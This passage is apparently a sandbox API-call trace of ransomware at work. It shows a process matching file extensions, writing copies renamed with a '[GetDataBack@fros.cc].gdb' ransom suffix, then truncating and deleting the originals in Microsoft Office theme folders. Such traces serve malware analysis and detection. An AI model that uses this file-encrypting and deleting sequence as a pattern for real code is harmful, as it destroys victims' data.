lpString2=".PNG") returned -1 [0122.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0122.980] lstrlenW (lpString=".1cd") returned 4 [0122.980] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0122.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0122.980] lstrlenW (lpString=".jpg") returned 4 [0122.980] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0122.981] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0122.981] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0122.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0122.982] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=2181) returned 1 [0122.982] CloseHandle (hObject=0x198) returned 1 [0122.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0122.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0122.982] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0122.982] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0122.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0122.984] GetLastError () returned 0x0 [0122.984] ReadFile (in: hFile=0x198, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x885, lpOverlapped=0x0) returned 1 [0122.986] WriteFile (in: hFile=0x21c, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x890, lpOverlapped=0x0) returned 1 [0122.987] ReadFile (in: hFile=0x198, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0122.987] WriteFile (in: hFile=0x21c, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xea, lpOverlapped=0x0) returned 1 [0122.987] SetEndOfFile (hFile=0x21c) returned 1 [0122.987] CloseHandle (hObject=0x21c) returned 1 [0122.988] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0122.988] SetEndOfFile (hFile=0x198) returned 1 [0122.989] CloseHandle (hObject=0x198) returned 1 [0122.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0122.989] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 1 [0122.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0122.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0122.990] lstrlenW (lpString=".doc") returned 4 [0122.990] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0122.990] lstrlenW (lpString=".docx") returned 5 [0122.990] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0122.990] lstrlenW (lpString=".pdf") returned 4 [0122.990] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0122.990] lstrlenW (lpString=".xls") returned 4 [0122.990] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0122.990] lstrlenW (lpString=".xlsx") returned 5 [0122.990] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0122.990] lstrlenW (lpString=".ppt") returned 4 [0122.990] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0122.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0122.990] lstrlenW (lpString=".zip") returned 4 [0122.990] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0122.990] lstrlenW (lpString=".rar") returned 4 [0122.990] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0122.990] lstrlenW (lpString=".bz2") returned 4 [0122.990] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0122.990] lstrlenW (lpString=".7z") returned 3 [0122.990] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0122.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0122.990] lstrlenW (lpString=".dbf") returned 4 [0122.990] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0122.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0122.991] lstrlenW (lpString=".1cd") returned 4 [0122.991] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0122.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0122.991] lstrlenW (lpString=".jpg") returned 4 [0122.991] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0122.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0122.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0122.991] lstrlenW (lpString=".doc") returned 4 [0122.991] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0122.991] lstrlenW (lpString=".docx") returned 5 [0122.991] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0122.991] lstrlenW (lpString=".pdf") returned 4 [0122.991] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0122.991] lstrlenW (lpString=".xls") returned 4 [0122.991] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0122.991] lstrlenW (lpString=".xlsx") returned 5 [0122.991] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0122.991] lstrlenW (lpString=".ppt") returned 4 [0122.991] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0122.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0122.991] lstrlenW (lpString=".zip") returned 4 [0122.991] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0122.991] lstrlenW (lpString=".rar") returned 4 [0122.991] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0122.991] lstrlenW (lpString=".bz2") returned 4 [0122.991] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0122.991] lstrlenW (lpString=".7z") returned 3 [0122.991] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0122.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0122.991] lstrlenW (lpString=".dbf") returned 4 [0122.992] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0122.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0122.992] lstrlenW (lpString=".1cd") returned 4 [0122.992] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0122.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0122.992] lstrlenW (lpString=".jpg") returned 4 [0122.992] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0122.992] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0122.992] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0122.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0122.992] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=20627) returned 1 [0122.992] CloseHandle (hObject=0x198) returned 1 [0122.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0122.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0122.993] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0122.993] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0122.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0122.993] GetLastError () returned 0x0 [0122.993] ReadFile (in: hFile=0x198, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x5093, lpOverlapped=0x0) returned 1 [0123.250] WriteFile (in: hFile=0x21c, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x50a0, lpOverlapped=0x0) returned 1 [0123.252] ReadFile (in: hFile=0x198, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0123.252] WriteFile (in: hFile=0x21c, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0123.252] SetEndOfFile (hFile=0x21c) returned 1 [0123.252] CloseHandle (hObject=0x21c) returned 1 [0123.253] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0123.253] SetEndOfFile (hFile=0x198) returned 1 [0123.254] CloseHandle (hObject=0x198) returned 1 [0123.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0123.254] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 1 [0123.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0123.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0123.254] lstrlenW (lpString=".doc") returned 4 [0123.254] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0123.254] lstrlenW (lpString=".docx") returned 5 [0123.254] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0123.254] lstrlenW (lpString=".pdf") returned 4 [0123.254] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0123.254] lstrlenW (lpString=".xls") returned 4 [0123.254] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0123.254] lstrlenW (lpString=".xlsx") returned 5 [0123.255] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0123.255] lstrlenW (lpString=".ppt") returned 4 [0123.255] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0123.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0123.255] lstrlenW (lpString=".zip") returned 4 [0123.255] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0123.255] lstrlenW (lpString=".rar") returned 4 [0123.255] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0123.255] lstrlenW (lpString=".bz2") returned 4 [0123.255] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0123.255] lstrlenW (lpString=".7z") returned 3 [0123.255] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0123.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0123.255] lstrlenW (lpString=".dbf") returned 4 [0123.255] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0123.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0123.255] lstrlenW (lpString=".1cd") returned 4 [0123.255] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0123.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0123.255] lstrlenW (lpString=".jpg") returned 4 [0123.255] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0123.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0123.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0123.255] lstrlenW (lpString=".doc") returned 4 [0123.255] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0123.255] lstrlenW (lpString=".docx") returned 5 [0123.255] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0123.255] lstrlenW (lpString=".pdf") returned 4 [0123.255] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0123.255] lstrlenW (lpString=".xls") returned 4 [0123.255] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0123.255] lstrlenW (lpString=".xlsx") returned 5 [0123.255] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0123.255] lstrlenW (lpString=".ppt") returned 4 [0123.255] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0123.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0123.255] lstrlenW (lpString=".zip") returned 4 [0123.255] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0123.255] lstrlenW (lpString=".rar") returned 4 [0123.256] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0123.256] lstrlenW (lpString=".bz2") returned 4 [0123.256] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0123.256] lstrlenW (lpString=".7z") returned 3 [0123.256] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0123.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0123.256] lstrlenW (lpString=".dbf") returned 4 [0123.256] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0123.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0123.256] lstrlenW (lpString=".1cd") returned 4 [0123.256] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0123.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0123.256] lstrlenW (lpString=".jpg") returned 4 [0123.256] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0123.256] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0123.256] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0123.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0123.256] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=1560) returned 1 [0123.256] CloseHandle (hObject=0x198) returned 1 [0123.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0123.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0123.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0123.257] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0123.257] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0123.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0123.299] GetLastError () returned 0x0 [0123.299] ReadFile (in: hFile=0x198, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x618, lpOverlapped=0x0) returned 1 [0123.301] WriteFile (in: hFile=0x200, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x620, lpOverlapped=0x0) returned 1 [0123.302] ReadFile (in: hFile=0x198, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0123.302] WriteFile (in: hFile=0x200, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xea, lpOverlapped=0x0) returned 1 [0123.302] SetEndOfFile (hFile=0x200) returned 1 [0123.302] CloseHandle (hObject=0x200) returned 1 [0123.304] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0123.304] SetEndOfFile (hFile=0x198) returned 1 [0123.304] CloseHandle (hObject=0x198) returned 1 [0123.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0123.305] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1 [0123.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0123.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0123.305] lstrlenW (lpString=".doc") returned 4 [0123.305] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0123.305] lstrlenW (lpString=".docx") returned 5 [0123.305] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0123.305] lstrlenW (lpString=".pdf") returned 4 [0123.305] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0123.305] lstrlenW (lpString=".xls") returned 4 [0123.305] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0123.305] lstrlenW (lpString=".xlsx") returned 5 [0123.305] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0123.305] lstrlenW (lpString=".ppt") returned 4 [0123.305] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0123.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0123.305] lstrlenW (lpString=".zip") returned 4 [0123.305] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0123.305] lstrlenW (lpString=".rar") returned 4 [0123.305] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0123.305] lstrlenW (lpString=".bz2") returned 4 [0123.305] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0123.305] lstrlenW (lpString=".7z") returned 3 [0123.305] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0123.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0123.305] lstrlenW (lpString=".dbf") returned 4 [0123.305] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0123.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0123.306] lstrlenW (lpString=".1cd") returned 4 [0123.306] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0123.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0123.306] lstrlenW (lpString=".jpg") returned 4 [0123.306] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0123.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0123.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0123.306] lstrlenW (lpString=".doc") returned 4 [0123.306] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0123.306] lstrlenW (lpString=".docx") returned 5 [0123.306] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0123.306] lstrlenW (lpString=".pdf") returned 4 [0123.306] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0123.306] lstrlenW (lpString=".xls") returned 4 [0123.306] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0123.306] lstrlenW (lpString=".xlsx") returned 5 [0123.306] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0123.306] lstrlenW (lpString=".ppt") returned 4 [0123.306] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0123.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0123.306] lstrlenW (lpString=".zip") returned 4 [0123.306] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0123.306] lstrlenW (lpString=".rar") returned 4 [0123.306] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0123.306] lstrlenW (lpString=".bz2") returned 4 [0123.306] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0123.306] lstrlenW (lpString=".7z") returned 3 [0123.306] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0123.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0123.306] lstrlenW (lpString=".dbf") returned 4 [0123.306] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0123.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 